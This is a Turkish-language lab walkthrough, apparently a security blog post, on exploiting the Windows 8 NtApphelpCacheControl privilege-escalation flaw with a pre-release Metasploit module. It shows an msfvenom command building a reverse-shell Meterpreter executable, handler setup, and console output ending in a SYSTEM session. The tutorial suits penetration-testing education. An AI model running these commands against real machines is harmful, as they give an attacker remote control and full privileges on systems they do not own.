Windows 8 NtApphelpCacheControl Zafiyetini Meterpreter ile Sömürmek

Merhaba

Bu yazıda, geçtiğimiz haftalarda Google ekibi tarafından PoC kodu ile birlikte yayınlanan Windows 8 NtApphelpCacheControl yerel yetki yükseltme açıklığı ele alınacaktır. Bu açıklığı sömürecek metasploit modülü şu anda metasploit geliştiricileri tarafından hazırlanmakta. Henüz tamamlanmamış olan bu modülü erkenden analiz ederek lab ortamında test edeceğiz.

Açıkcası Google ekibi PoC’yi yayınladığı  gece bu yerel güvenlik açığını sömüren kodlar üzerinde modifiyeler gerçekleştirerek yetkili bir meterpreter oturumu elde etmeyi başarmış ve kendi güvenlik testlerimizde kullanıyordum. Şu anda Metasploit ekibi bu konuya el atmış durumda ve benim amatör çalışmamdan çok daha başarılı generic bir modül geliştirmekteler. Bu yazıda da hali hazırda geliştirilme sürecinde olan bu modülü inceleyeceğiz.

Ön Hazırlıklık

Hemen hemen bir çoğumuzun metasploiti Kali Linux içerisinde gelen ön kurulumu ile kullanmaktayız. Bu yazıda ele aldığımız metasploit modülü halen daha geliştirilmekte olduğu için sadece ve sadece metasploit github hesabındanki Pull Request içerisinde bulunmaktadır. Bu nedenle yazının geri kalanındaki adımları takip edecek arkadaşların https://www.mehmetince.net/metasploit-modulu-gelistirme-serisi-gelistirme-ortaminin-kurulmasi/ öncelikle bu yazıyı okumasını ve yazıda adımları tamamlaması gerekmektedir.

Sıkça konuşacağımız olan Pull Request kavramı Git‘in temelinde bulunan bir özellik değildir. Bu özellikle Github’in geliştiricilere sunduğu bir imkandır. Metasploit reposunu fork ettiğinizde mevcut Pull Request’ler sizin reponuza yansımayacaktır. Normal şartlarda herhangi bir modülün geliştirilmesi tamamlanıp metasploit master branch’ine merge edildiğinde bu modüle erişim git fetch [upstream] ile gerçekleştirilebilir.  Windows 8 NtApphelpCacheControl  zafiyetini sömürmek için geliştirilmekte olan modül henüz master branch’e merge edilmediği için git fetch upstream ile de erişmek mümkün değildir.

Yukarıda bahsettiğim durum nedeniyle bira kaç ufak değişiklikle upstream repo’da gerçekleştirilmiş olan tüm Pull Request’leri localimize indireceğiz.

metasploit klasörü içerisinde bulunan .git/config dosyanızı açtığınızda aşağıdaki sekmeyi göreceksinizdir. Bu sekmede aşağıda verilen son satır bulunmuyor vaziyettedir. Bu nedenle son satırı bu dosyaya eklemelisiniz.

[remote "upstream"]
        url = git://github.com/rapid7/metasploit-framework.git
        fetch = +refs/heads/*:refs/remotes/upstream/*
        fetch = +refs/pull/*/head:refs/remotes/upstream/pr/*

Bu işlem tamamlandıktan sonra aşağıdaki komutu çalıştırarak Rapid7‘in metasploit reposuna gönderilen tüm Pull Request’leri yerelinize indirmiş olacaksınız. Bu işlem biraz uzun sürebilir, zira hali hazırda bekleyen onlarca pull request mevcuttur.

# Pull Requestleri getir
git fetch upstream

# Yerel master branche geç
git checkout master

# Yeni bir branch oluştur
git checkout -b 'win8local'

# İlgili pull requesti buraya merge et
mince@rootlab metasploit-framework (win8local) $ git merge pr/4562 
Merge made by the 'recursive' strategy.
 data/exploits/ntapphelpcachecontrol/exploit.dll    |  Bin 0 -> 115200 bytes
 .../exploits/ntapphelpcachecontrol/exploit.sln     |   22 +
 .../exploit/CaptureImpersonationToken.cpp          |  228 ++++++
 .../ntapphelpcachecontrol/exploit/dllmain.cpp      |  272 ++++++
 .../ntapphelpcachecontrol/exploit/exploit.vcxproj  |  106 +++
 .../ntapphelpcachecontrol/exploit/my_winternl.h    |  866 ++++++++++++++++++++
 .../exploits/ntapphelpcachecontrol/exploit/sdb.h   |  338 ++++++++
 .../exploit/sdb_functions.cpp                      |  190 +++++
 .../ntapphelpcachecontrol/exploit/stdafx.cpp       |    9 +
 .../ntapphelpcachecontrol/exploit/stdafx.h         |   14 +
 .../ntapphelpcachecontrol/exploit/targetver.h      |    8 +
 .../windows/local/ntapphelpcachecontrol.rb         |  147 ++++
 12 files changed, 2200 insertions(+)
 create mode 100755 data/exploits/ntapphelpcachecontrol/exploit.dll
 create mode 100755 external/source/exploits/ntapphelpcachecontrol/exploit.sln
 create mode 100755 external/source/exploits/ntapphelpcachecontrol/exploit/CaptureImpersonationToken.cpp
 create mode 100755 external/source/exploits/ntapphelpcachecontrol/exploit/dllmain.cpp
 create mode 100755 external/source/exploits/ntapphelpcachecontrol/exploit/exploit.vcxproj
 create mode 100755 external/source/exploits/ntapphelpcachecontrol/exploit/my_winternl.h
 create mode 100755 external/source/exploits/ntapphelpcachecontrol/exploit/sdb.h
 create mode 100755 external/source/exploits/ntapphelpcachecontrol/exploit/sdb_functions.cpp
 create mode 100755 external/source/exploits/ntapphelpcachecontrol/exploit/stdafx.cpp
 create mode 100755 external/source/exploits/ntapphelpcachecontrol/exploit/stdafx.h
 create mode 100755 external/source/exploits/ntapphelpcachecontrol/exploit/targetver.h
 create mode 100644 modules/exploits/windows/local/ntapphelpcachecontrol.rb

Yukarıda bir dizi komut çalıştırıldığını görmektesiniz. Bu komutlardan ilgili daha önce de belirttiğim gibi Upstream’e gönderilen tüm Pull Request’leri yerele indirmektedir. Ardından pull requestlerden bir tanesini ( Bu yazıda ele alacağımız modül 4562 numaralı pull request) ele almak için yerel master branch’den bir adet yeni branch oluşturuyoruz. Bu oluşturulan branch’e Win8local adını ben  keyfi olarak verdim. İstediğiniz bir adı verebilirsiniz. Ardından 4562 numaralı pull request’i bu branch’e merge ederek hali hazırda geliştirilmekte olan bir modülü kullanmaya hazır hale geldik.

Modül Kullanımı

Bu modül mevcut bulunan herhangi bir meterpreter oturumunun ID’sini alarak, bu oturumun ait olduğu makinada Windows 8 NtApphelpCacheControl  zafiyetini kullanmaya çalışacaktır. Bu nedenle öncelikle bir adet Windows 8.1 bilgisayara bağlı olan meterpreter oturumu elde etmeliyiz.

Bu bağlamda öncelikle bir adet meterpreter saldırı .exe’si oluşturacağız.

./msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.172.1 lport=4444 -f exe -o /tmp/test.exe

Mevcut windows kullanıcısı hakları ile meterpreter oturumu başlayacak olan exe’miz hazır. Bağlantının açılmasını sağlayacak multi handler’ı başlatalım.

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 172.16.172.1
LHOST => 172.16.172.1
msf exploit(handler) > set LPORT 4444

ve .exe yi hedef windows makinada çalıştırarak oturumu elde edelim.

msf exploit(handler) > exploit

[*] Started reverse handler on 172.16.172.1:4444 
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 172.16.172.130
[*] Meterpreter session 1 opened (172.16.172.1:4444 -> 172.16.172.130:49418) at 2015-01-10 14:48:23 +0200

meterpreter > getsystem 
[-] priv_elevate_getsystem: Operation failed: Access is denied.
meterpreter >

Gördüğünüz üzere session id değeri 1 olan bir meterpreter oturumu elde ettik. Şimdi sıra Windows 8 NtApphelpCacheControl zafiyetini sömürmeye geldi.

meterpreter > background 
[*] Backgrounding session 1...

msf exploit(handler) > use exploit/windows/local/ntapphelpcachecontrol 

msf exploit(ntapphelpcachecontrol) > set SESSION 1 
SESSION => 1

msf exploit(ntapphelpcachecontrol) > exploit 

[*] Started reverse handler on 192.168.1.3:4444 
[*] Uploading the payload DLL
[*] Payload DLL will be: C:\Users\mince\AppData\Local\Temp\LhBFWT.dll
[*] Injecting exploit into PID 2952
[*] Creating thread
[*] Sending stage (770048 bytes) to 192.168.1.3
[*] Meterpreter session 2 opened (192.168.1.3:4444 -> 192.168.1.3:56269) at 2015-01-10 14:50:41 +0200

meterpreter > getsystem 
...got system (via technique 1).
meterpreter >

Fark ettiğiniz üzere ilk başta elde ettiğimiz oturum getsystem işleminde başarısız olmuştu. Metasploit modülü ile tetiklediğimiz  Windows 8 NtApphelpCacheControl yerel yetki arttırma zafiyeti ile hedef sistemde yetkili bir oturuma sahip olmayı başardık.